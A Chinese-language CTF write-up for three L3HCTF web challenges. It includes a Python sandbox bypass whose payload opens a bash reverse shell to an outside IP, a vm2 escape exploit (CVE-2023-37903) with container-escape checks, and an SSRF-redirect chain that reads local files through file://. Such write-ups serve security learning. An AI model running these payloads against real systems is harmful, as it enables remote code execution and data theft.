xctf 2024- L3Hctf
前言
过年前打的,还一大早爬起来了,10点钟学弟还在睡觉,先做签到了
checkin
intractable problem
给定一个长度大于1e1200的整数n,编写一个Python函数factorization(n: string) -> tuple[int],该函数的目标是将n分解为两个素数的乘积,并返回这两个素数的元组。如果存在多种分解方式,返回任意一种即可。如果无法分解为两个素数的乘积,返回一个空元组。同时,确保算法在5秒内运行完成。
后端只用这个做检验
696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863
正常都要搞个5组数据的,有问题这样
但试了一下,常规方法也是分解不了的,说明题目鼓励直接web攻击
def blackFunc(oldexit):
def func(event, args):
blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
for i in blackList:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
oldexit(0)
return func
code = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code,{"__builtins__": None},locals)
本地wsl直接python web.py起个环境
结果各种报错
学弟给到了个思路
本地这样绕过检查,rce可以这样
def factorization(n: string) -> tuple[int]:
'''
os.system(\"bash -c 'bash -i >& /dev/tcp/8.129.42.140/3307 0>&1'\")
codes='''
构造一个exp就好 POST /judge
{"code":"def factorization(n: string) -> tuple[int]:\n'''\nos.system(\"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'\")\ncodes='''"}
escape
VM2逃逸,以前vnctf2022和学弟搞过一个vm2逃逸的来着
CVE-2023-37903没修,全部通杀
https://github.com/patriksimek/vm2/issues/533
const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
p.call(a).constructor('return process')().mainModule.require('child_process').execSync('echo pwned >&2');
flag在容器外。 The flag sits outside of the container.
试了各种逃逸方法,记录一下过程:
https://wiki.teamssix.com/CloudNative/Docker/container-escape-check.html
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
非特权模式
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."
没挂载socket
没挂载 procfs,没挂载宿主机根目录
Docker Remote API is Closed
返回存在长度限制
check脚本
https://github.com/teamssix/container-escape-check
cve2020-14286
uname -a
Linux 571f8e8209f7 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64 Linux
昨天开会给了我一个启发(thai给的,自豪叉腰,然并卵),该不会是cloudfare的云函数/云容器?
Access-Control-Allow-Methods: POST, OPTIONS
没有,不是的,但是思考能不能获取他的原IP
死胡同:P
nmd被骗了,是6.1.0-1,mt背大锅!thai:难蚌了,被uname -r骗了
没有一点mount权限
busybox 1.36.1 它这个版本漏洞还是多的,pwn的洞
docker逃逸需要内核提权,我们已经vm逃逸了,得内核提权
知道它是Alpine Linux 3.19
是这个镜像,干净的很
最后瞎几把试
const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
p.call(a).constructor('return process')().mainModule.require('child_process').execSync('ln -s -f /flag /app/error.txt');
但我其实很不理解
赛后和别人交流也是这个共识
傻逼题是这样的
shorturl
jump是浏览器跳转,没卵用,估计是用来测试CacheMap里面有没有咱自定义的url地址的
猜测一个思路就是test访问private,可以绕127.0.0.1的限制
绕下?
/test/?redirect=xxx
因为GPT4说
具体到 configurer.setUseTrailingSlashMatch(true); 这行代码,它配置了 Spring MVC 的路径匹配机制,使得框架在匹配 URL 路径时考虑到 URL 末尾的斜线(/)。
然后就是找到BaseUrl是example.com,在application.properties
http://1.95.4.251:57080/private/?url=http://www.example.com
not allowed,可以访问到private了
http://127.0.0.1:8080/private/?url=http://www.example.com
200状态码,但是没东西不科学
http://127.0.0.1:8080/private/?url=http://www.example.com/
这样有,6
然后跟着题目指引进了死胡同,这咋拿flag捏?
<http://127.0.0.1:8080/private/?%75%72%6c=http://www.example.com/>
编码一下也有
http://127.0.0.1:8080/jump?redirect=xxx&url=http://www.example.com/ 这样FileNotFound,奇怪
http://127.0.0.1:8080/?url=http://www.example.com/ 这样可以看到
注意到paramUrl
==null也会fetch
http://127.0.0.1:8080/private/?url=&url=http://www.example.com/
但是这样其实url=="”,寄
能直接不传url然后fetch flag吗
擦,用ssrf+重定向 可以实现
既然服务器可以发出请求,直接请求自己的vps,重定向到private/?url=file:///flag
这样就绕过了example的限制(因为waf在test路由)
exp
from flask import Flask, redirect, url_for
app = Flask(__name__)
@app.route('/flag')
def flag():
# 使用 Flask 的 redirect 函数重定向到指定的 URL
return redirect('<http://127.0.0.1:8080/private/?url=file:///etc/passwd>')
if __name__ == '__main__':
app.run(debug=True,port=3307,host="0.0.0.0")
请求https://www.viewofthai.link:3307/flag 拿到xxx
然后/test/?redirect=xxx